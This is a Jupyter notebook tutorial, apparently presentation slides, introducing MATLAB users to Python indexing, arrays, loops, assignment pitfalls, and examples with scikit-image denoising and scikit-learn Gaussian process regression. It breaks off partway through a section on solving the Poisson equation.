```python\n# import pixiedust\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Let's try it on a simple function that finds the maximum value in a list\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}}\n# !pip install pixiedust\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nimport pixiedust  # must be own cell for some reason\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nimport random\n\ndef find_max(values):\n    max_val = 0\n    for val in values:\n        if val > max_val:\n            max_val = val\n    return max_val\n\n\n# + {\"pixiedust\": {\"displayParams\": {}}, \"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %%pixie_debugger\nx = random.sample(range(100), 10)\nm = find_max(x)\nprint(f'max value is {m}')\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ##### Jupyter and version control\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Jupyter files (.ipynb) end up as large json files. As such, even the outputs get saved as pieces of json. For example, the section of the notebook for the previous code cell looks like\n# ```json\n# {\n#    \"cell_type\": \"code\",\n#    \"execution_count\": null,\n#    \"metadata\": {},\n#    \"outputs\": [],\n#    \"source\": [\n#     \"import pixiedust\\n\",\n#     \"\\n\",\n#     \"import random\\n\",\n#     \"def find_max (values):\\n\",\n#     \"    max = 0\\n\",\n#     \"    for val in values:\\n\",\n#     \"        if val > max:\\n\",\n#     \"            max = val\\n\",\n#     \"    return max\"\n#    ]\n#   },\n#   {\n#    \"cell_type\": \"code\",\n#    \"execution_count\": null,\n#    \"metadata\": {\n#     \"pixiedust\": {\n#      \"displayParams\": {}\n#     }\n#    },\n#    \"outputs\": [],\n#    \"source\": [\n#     \"%%pixie_debugger\\n\",\n#     \"x = random.sample(range(100), 10)\\n\",\n#     \"m = find_max(x)\\n\",\n#     \"print(m)\"\n#    ]\n#   }\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# * Any plain-text general merge is going to freak out. If you plan to work collaboratively with anyone, you should setup and use jupytext. \n# * In short, jupytext converts the json file to a more readable file (such as the \"percent\" format that VSCode, Hydrogen, and PyCharm IDEs are adopting). \n# * Turns out, once jupytext is setup, you can even just use the easier formated file in the notebook itself (set a pairing standard for the team to make sure everyone on same page &mdash; if you aren't going to couple the notebook with an VSCode etc. then I suggest the light format).\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"cell_type\": \"markdown\"}\n# #### Top Python libraries to use\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"cell_type\": \"markdown\"}\n# Most of these come with a base anaconda install\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"cell_type\": \"markdown\"}\n# ##### General numerics\n# [numpy](http://www.numpy.org/)    \n# [scipy](https://www.scipy.org/)    \n# [statsmodels](https://statsmodels.org)    \n# [tqdm](https://github.com/tqdm/tqdm) makes a progress bar on an iterable\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"cell_type\": \"markdown\"}\n# ##### Image processing\n# [scikit-image](https://scikit-image.org/)  \n# [opencv](https://opencv-python-tutroals.readthedocs.io/en/latest/)  \n# [Pillow](https://pillow.readthedocs.io/en/stable/)\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"cell_type\": \"markdown\"}\n# ##### Data \n# [pandas](https://pandas.pydata.org/) load an manipulate text/csv data  \n# [scrapy](https://scrapy.org/) extract data from websites  \n# [dask](http://docs.dask.org/en/latest/)  big data and task scheduling  \n#\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"cell_type\": \"markdown\"}\n# ##### Machine learning (including neural nets)\n# [scikit-learn](https://scikit-learn.org/stable/)  good starting point for testing out a concept  \n# [Pytorch](https://pytorch.org/)  Facebook's version of neural net  \n# [Tensorflow/Keras](https://www.tensorflow.org/)  Google's version of neural net  \n# [PyMC4](https://www.tensorflow.org/probability/install) (part of TF prob)  \n# [GPFlow](https://github.com/GPflow/GPflow)  Gaussian process with TF backend .   \n# [nltk](https://www.nltk.org/)  Natural Language Tool Kit  \n# [SpaCy](https://spacy.io/)  More NLP  \n# [PyFlux](https://pyflux.readthedocs.io/en/latest/)  Time series analysis  \n#\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"cell_type\": \"markdown\"}\n# ##### Plotting\n# [matplotlib](https://matplotlib.org/) standard for basic plotting  \n# [seaborn](https://seaborn.pydata.org/)  works on top of matplotlib  \n# [plotly](https://plot.ly/python/)  great for animated or interactive plots  \n# [bokeh](https://bokeh.pydata.org/en/latest/)  also does interactive (I'm not as familiar with it)\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ### Python vs MATLAB\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n#  1. Indexing and arrays\n#  2. Multidimensional arrays\n#  3. Loops\n#  4. Beware of..\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# #### Arrays and Indexing\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ##### Build an array\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# * It's easy to build lists or arrays in Python. \n# * One significant difference between MATLAB and Python is that 1D Python lists and arrays are truly 1D, whereas in MATLAB a 1D array is always at least 2D with a singleton dimension (an artifact of it's original intention of being a Matrix Laboratory).\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# * Python vs. MATLAB: Make a list from 0..100 by 20 <br>\n#\n# MATLAB\n# ```MATLAB\n# x = 0:20:100;\n# x = linspace(0, 100, 6);\n# ```\n#\n# Python\n# ```Python\n# x = np.arange(0, 101, 20)  # using numpy array\n# x = np.linspace(0, 100, 6)  # using a numpy linspace\n# x = range(0, 101, 20)  # using python generator\n# x = [a*20 for a in range(0, 6)]  # list comprehension\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false}\n# create array from 0 to 100 in steps of 20\nimport numpy as np\nx = np.arange(0, 101, 20)  # using numpy array\nprint(f'numpy arange: {x}')\nx = np.linspace(0, 100, 6, dtype=np.int)  # using a numpy linspace\nprint(f'numpy linspace: {x}')\nx = range(0, 101, 20)  # using python array\nprint(f'python range method: {x}')  # print doesn't list out elements because range is a generator\nx = [a*20 for a in range(0, 6)]  # list comprehension (can make really succinct code, not here obviously)\nprint(f'list comprehension: {x}')\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ##### Index an array\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# * Indexing is pretty similar, especially with [numpy indexing](https://docs.scipy.org/doc/numpy-1.14.1/reference/arrays.indexing.html), \n# * But.. Python is 0-based (first element is accessed with [0]) vs. MATLAB 1-based. \n# * And.. Last element in slice is exclusive. Slicing is more similar to e.g. C++ std library where the last slice of an iterable is non-inclusive.\n# ```Python\n# x[0:3] == x[0, 1, 2]\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# * Comparisons of some typical indexing\n#\n# MATLAB\n# ```MATLAB\n# x(1:2:3)\n# x([1, 3])\n# x(end:-1:end-2)  % access backwards from end\n# x(3:end)  % go from 3rd element to last\n# x(:)  % slice all, \"that's what you do\"\n# ```\n#\n# Python\n# ```Python\n# x[0:3:2]  # start slice from 0, increment two at a time\n# x[[0, 2]]  # numpy only: explicitly access element numbers\n# x[-1:-4:-1]  # access backwards from end\n# x[2:]  # go from 3rd element until end\n# x[:]  # start at 0 until end implicit steps of 1\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false}\nx = np.arange(0, 101, 20)\nprint(f'1st and 3rd: {x[0:3:2]}')\nprint(f'1st and 3rd (implicit): {x[:3:2]}')\nprint(f'access first and third directly: {x[[0, 2]]}')\nprint(f'count back last three: {x[-1:-4:-1]}')\nprint(f'3rd element to end: {x[2:]}')\nprint(f'all of x: {x[:]}')\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ##### Test your knowledge. \n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ```python\n# x = np.arange(0, 5)  # [0, 1, 2, 3, 4]\n# print(x[:-1])\n# ```\n# Will the output be  \n# a)\n# ```python\n# [0, 1, 2, 3, 4]\n# ```  \n# b)\n# ```python\n# [0, 1, 2, 3]\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false}\nx = np.arange(0, 5)\nprint(x[:-1])\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# The answer is b!\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# #### Multidimensional Arrays\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Multidimensional arrays work just how you'd expect them to, especially in numpy framework.\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false}\nimport numpy as np  # make sure numpy is imported\neye_matrix = np.eye(4)  # make 4x4 identity matrix\nprint(f'eye(4):\\n{eye_matrix}')\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Use slicing operation to assign new numbers to matrix elements.  \n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\neye_matrix[:-1, -1] = 2  # How will the matrix change?\nprint(f'slice assignment:\\n{eye_matrix}')\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Another caveat, coming from the MATLAB world, is that python is row-major oriented instead of column-major oriented. For those unfamiliar with row-major vs. column-major, it comes into play with how arrays are arranged in memory. Since memory is not 2-dimensional, or n-dimensional, the arrays are actually stored \"linearly\" in memory. \n# <figure>\n#   <img src=\"https://eli.thegreenplace.net/images/2015/row-major-2D.png\" alt=\"Row major\"/>\n#   <figcaption>Row major (credit Eli Bendersky).</figcaption>\n# </figure>\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# <figure>\n#   <img src=\"https://eli.thegreenplace.net/images/2015/column-major-2D.png\" alt=\"Col major\"/>\n#   <figcaption>Column major (credit Eli Bendersky).</figcaption>\n# </figure>\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false}\nimport numpy as np\nrow_mat = np.arange(16, dtype=np.int).reshape((4, 4))\nprint(f'This is the row_mat matrix (default Python):\\n{row_mat}\\n'\n      f'and this is the 5th element in memory (i.e. row_mat[4]):'\n      f'\\n{row_mat.flat[4]}')\ncol_mat = np.arange(16, dtype=np.int).reshape((4, 4), order='F')\nind_5 = col_mat[np.unravel_index(4, (4, 4), order='F')]\nprint(f'This is the col_mat matrix (MATLAB):\\n{col_mat}\\n'\n      f'and this is the 5th element in row-view  (i.e. col_mat[4]):\\n'\n      f'{col_mat.flat[4]}\\n'\n      f'and this is 5th element in column order:\\n{ind_5}') \n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ##### Test your knowledge\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Swap rows or columns\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nrow_mat = np.arange(16, dtype=np.int).reshape((4, 4)); print(f'row_mat:\\n{row_mat}')\ntest_a = row_mat.copy()\ntest_a[[0, 2]] = test_a[[2, 0]]; print(f'test_a:\\n{test_a}')\ntest_b = row_mat.copy()\ntest_b[:, [0, 2]] = test_b[:, [2, 0]]; print(f'test_b:\\n{test_b}')\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# #### Loops\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# In Python, certain objects are known to be \"iterable\" and an iterable object can be looped in a for loop. Coming from MATLAB world, if I want to loop over a matrix I would do something like this:\n# ```MATLAB\n# for j=1:size(my_matrix, 2)\n#     for i=1:size(my_matrix, 1)\n#         my_matrix(i,j)\n#     end\n# end\n# ```\n# I could do something similar in python...\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false}\nimport numpy as np\nmy_matrix = np.arange(4).reshape((2, 2))\nprint(f'my_matrix:\\n{my_matrix}')\nfor i in range(my_matrix.shape[0]):\n    for j in range(my_matrix.shape[1]):\n        print(my_matrix[i, j])\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# There's nothing wrong with doing it this way. However, I want to point out that the matrix itself is iterable. There may be cases when this is cleaner. One caveat: don't try to modify the thing you are iterating (i.e. use the iterable itself for a nice clean reference, but use indexing if you want to modify the thing).\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nfor row_array in my_matrix:  # iterate over rows [0, 1], [2, 3]\n    for row_elem in row_array:  # iterate over row elements\n        print(f'{row_elem} ')\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# If I wanted both value and index information I could, alternatively, enumerate the objects. Enumerating probably seems more indirect than just looping over indices, but when you get to more complicated objects (not just numbers in a matrix, a set of training images for example) you'll find a the object iterable and enumeration approach to be very convenient.\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nmy_matrix_now = my_matrix.copy()\nfor i, row_array in enumerate(my_matrix):\n    for j, row_elem in enumerate(row_array):\n        my_matrix_now[i, j] = row_elem**2\nprint(f'my_matrix_now:\\n{my_matrix_now}')\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Another option: use numpy's nditer\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# #### Be careful of...\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Some typical [gotchas](https://docs.python-guide.org/writing/gotchas/) are (I'll cover first one):\n#   * Assigning does not copy. \n#   * Default function arguments to functions are mutable (should use None as a sentinel value if need other functionality).\n#   * Late binding closures.\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\na = np.arange(2, 5)  # a=[2, 3, 4]\nb = a  # in MATLAB this makes a copy by default\na += 3  # now add some numbers to a\nb += 1  # add 1 to b\n# what is b? [3, 4, 5]?\nprint(b)\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Same thing again, but this time add 1 right away\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\na = np.arange(2, 5)\nb = a + 1\na += 3\nprint(b)\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# What's the difference? In the first case, object b is assigned to have the same identity as a. So anything done to b also applies to a. In the second case, numpy is doing implicit broadcasting (adding an array of 1s to match size of a) and saves the result as a new array.\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false}\na = np.arange(2, 5)\nb = a  # in MATLAB this makes an array copy by default, but in python thiis just copies assignment\nc = a + 1\nprint(a is b)\nprint(a is c)\n# note: can now reassign a and b does not follow, not an attached reference\na = np.arange(2, 5)\nprint(a is b)\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Another note: if this were just a python list then you couldn't even do c = a + 1 without making your own class\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false}\np = list(range(2, 5))\nc = p + 1  # native lists do not broadcast\n\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# You'd have to make a class in order to add a value to a python list\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false}\nclass lame_numpy():\n    def __init__(self):\n        self.arr = []\n    \n    def brange(self, *args):\n        if len(args) < 1:\n            raise ValueError('Must be more than 1 argument')\n        if len(args) < 2:\n            self.arr = [i for i in range(args[0])]\n        elif len(args) < 3:\n            self.arr = list(range(args[0], args[1]))\n        elif len(args) < 4:\n            val_now = args[0]\n            while (val_now < args[1]):\n                val_now += args[2]\n                self.arr.append(val_now)\n        else:\n            raise ValueError('Too many arguments')\n        return self\n    \n    def __add__(self, value):\n        for i in range(len(self.arr)):\n            self.arr[i] += value\n        return self\n        \n    def __str__(self):\n        return f'{self.arr}'\n\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false}\na = lame_numpy()\na.brange(2, 5)\nprint(a)\na = a + 3\nprint(a)\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ### Capabilities and examples of Python\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# This section shows some of the common use libraries out there for Python. Personally, I've yet to come across a MATLAB function that isn't included in a python library somewhere. Many times, the Python libraries do the task better -- **bold statement**.\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# #### Scikit-image (skimage)\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# skimage is a library that comes with anaconda, so there should be little setup required. If you make a new anaconda environment, beyond the base environment, you'll want to install it into the new environment but it is as easy as running the following from the command line (or anaconda prompt in Windows)\n#\n# `conda install -c conda-forge scikit-image`\n#\n# You can also use pip to install, but anaconda is the easiest and most reliable method.\n#\n# `pip install scikit-image`\n# -\n\n# The below is example is adapted from, and more for info see, the [documentation](http://scikit-image.org/docs/dev/auto_examples/filters/plot_cycle_spinning.html).\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ##### Cyclic Wavelet Denoise of Cat Picture\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Use these modules\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nimport matplotlib.pyplot as plt\n\nfrom skimage import data, img_as_float\nfrom skimage.util import random_noise\nfrom skimage.measure import compare_psnr\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Import cat picture and add noise\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# get image and add noise\noriginal = img_as_float(data.chelsea()[100:250, 50:300])  # import and crop chelsea the cat\nsigma = 0.155  # amount of noise\nnoisy = random_noise(original, var=sigma**2)  # add noise using imported skimage module\npsnr_noisy = compare_psnr(original, noisy)  # psnr of noisy image\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false}\n# plot images\nfig, ax = plt.subplots(nrows=1, ncols=2, figsize=(14, 7), sharex=False, sharey=False)\nax = ax.ravel()\nax[0].imshow(original); ax[0].axis('off')\nax[0].set_title('Original image')\nax[1].imshow(noisy); ax[1].axis('off')\nax[1].set_title('Noisy\\nPSNR={:0.4g}'.format(psnr_noisy))\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# For denoising algorithm want to minimize this cost function\n# $$\\min_{x_{dn}} \\left[\\lVert x - x_{dn} \\rVert_2^2 + \\lambda\\lVert Wx_{dn}\\rVert_1\\right]$$\n# where $W$ is a linear operator, such as gradient or wavelet, $\\lambda$ is regularization parameter, $x$ is the noisy measurement and $x_{dn}$ is the denoised estimate. The following example shows denoising using total variation, where $W$ is a gradient operator, and using wavelets, where $W$ is a discrete wavelet transform.\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Add in the skimage restoration module\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nimport matplotlib.pyplot as plt\n\nfrom skimage.restoration import denoise_wavelet, cycle_spin, denoise_tv_bregman\nfrom skimage import data, img_as_float\nfrom skimage.util import random_noise\nfrom skimage.measure import compare_psnr\nfrom skimage.filters import sobel\nfrom skimage.color import rgb2gray\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Get noisy image and denoise\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"code_folding\": [], \"hideCode\": false, \"hidePrompt\": false}\n# get image and add noise\noriginal = img_as_float(data.chelsea()[100:250, 50:300])  # import and crop chelsea the cat\nsigma = 0.155  # amount of noise\nnoisy = random_noise(original, var=sigma**2)  # add noise\npsnr_noisy = compare_psnr(original, noisy)  # psnr of noisy image\n\n# get (approximate) gradient of image\ngray_img = rgb2gray(original)\nsobel_edges = sobel(gray_img)\n\n# denoise image with total variation\ntv_denoise = denoise_tv_bregman(noisy, 1.)\npsnr_tv = compare_psnr(original, tv_denoise)\n\n# denoise image with wavelets and cycle shifts\ndenoise_kwargs = dict(multichannel=True, convert2ycbcr=True, wavelet='db1')\nim_bayescs = cycle_spin(noisy, func=denoise_wavelet, max_shifts=5,\n                            func_kw=denoise_kwargs, multichannel=True)\npsnr_wv = compare_psnr(original, im_bayescs)\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false}\n# plot images\nfig, ax = plt.subplots(nrows=2, ncols=3, figsize=(15, 7), sharex=False, sharey=False); ax = ax.ravel()\nax[0].imshow(original); ax[0].axis('off'); ax[0].set_title('Original image')\nax[1].imshow(noisy); ax[1].axis('off'); ax[1].set_title('Noisy\\nPSNR={:0.4g}'.format(psnr_noisy))\nax[2].imshow(sobel_edges, cmap='gray'); ax[2].axis('off'); ax[2].set_title('Image gradients')\nax[3].imshow(tv_denoise); ax[3].axis('off'); ax[3].set_title('TV denoise: PSNR={:0.4g}'.format(psnr_tv))\nax[4].imshow(im_bayescs); ax[4].axis('off'); ax[4].set_title(\"Denoised: {0}x{0} shifts PSNR={1:0.4g}\".format(5, psnr_wv)); ax[5].axis('off')  # null plot\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# #### Scikit-learn (sklearn)\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# * Another library that has great features is sklearn, a library devoted (primarily) to machine learning.\n# * Similar to skimage, sklearn comes with the base anaconda environment\n# -\n\n# The below example is adapted from, and for more info see, the [documentation](https://scikit-learn.org/stable/modules/generated/sklearn.gaussian_process.GaussianProcessRegressor.html#sklearn.gaussian_process.GaussianProcessRegressor).\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ##### Gaussian process regression\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Let's say you have some data points, and you want to be able to fit a function to them. There's lots of options. For example:\n#   * Polynomial\n#   * Piece-wise cubic spline\n#   * Sinc\n#\n# For all these options, you could make a model and then minimize the error between the model and data points to \"fit\" the model. But, what if you want to be able to ascribe some uncertainty to that fit? A good way to do this is with a \"Gaussian process.\"\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Import libraries\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nfrom sklearn.gaussian_process.kernels import RBF, ConstantKernel as C\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Simulate data\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\ndef f(x):\n    \"\"\"The unknown function underlying the data.\"\"\"\n    return x * np.sin(x)\n\n# Generate sample points\nX = np.atleast_2d([1., 3., 5., 6., 7., 8.]).T\n\n# Simulate Observations\ny = f(X).ravel()\n\n# use finer sampling for evaluating the btrue function\nx = np.atleast_2d(np.linspace(0, 10, 1000)).T\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Plot the data\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nplt.figure()\nplt.plot(X, y, 'r.', markersize=10, label=u'Observations')\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Fit the data using Gaussian process (look how easy this is!)\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# Instantiate a Gaussian Process model\nkernel = C(1.0, (1e-3, 1e3)) * RBF(10, (1e-2, 1e2))\ngp = GaussianProcessRegressor(kernel=kernel, n_restarts_optimizer=9)\n\n# Fit to data using Maximum Likelihood Estimation of the parameters\ngp.fit(X, y)\n\n# Make the prediction (give me my fit values)\ny_pred, sigma = gp.predict(x, return_std=True)\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Plot results\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# Plot the function, the prediction and the 95% confidence interval \nplt.figure()\nplt.plot(x, f(x), 'r:', label=u'$f(x) = x\\,\\sin(x)$')\nplt.plot(X, y, 'r.', markersize=10, label=u'Observations')\nplt.plot(x, y_pred, 'b-', label=u'Prediction')\nplt.fill(np.concatenate([x, x[::-1]]), np.concatenate([y_pred - 1.9600 * sigma, (y_pred + 1.9600 * sigma)[::-1]]),\n         alpha=.5, fc='b', ec='None', label='95% confidence interval')\nplt.ylim(-10, 20)\nplt.xlabel('$x$'); plt.ylabel('$f(x)$'); plt.legend(loc='upper left')\n\n# + {\"hideCode\": false, \"hidePrompt\": false}\nx = np.arange(5, 11)\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ## How to speed up code\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# The following sections will all try to solve the Poisson equation, and the timings between the different methods will be compared\n# $$\\nabla^2 \\phi(x,y) = \\rho(x,y)$$\n# One of the easiest and most straightforward methods to solve the equation for $\\phi$, numerically, is to use a central finite difference approximation i.e.\n# $$\\phi_{i-1, j} + \\phi_{i, j-1} + \\phi_{i+1, j} + \\phi_{i, j+1} - 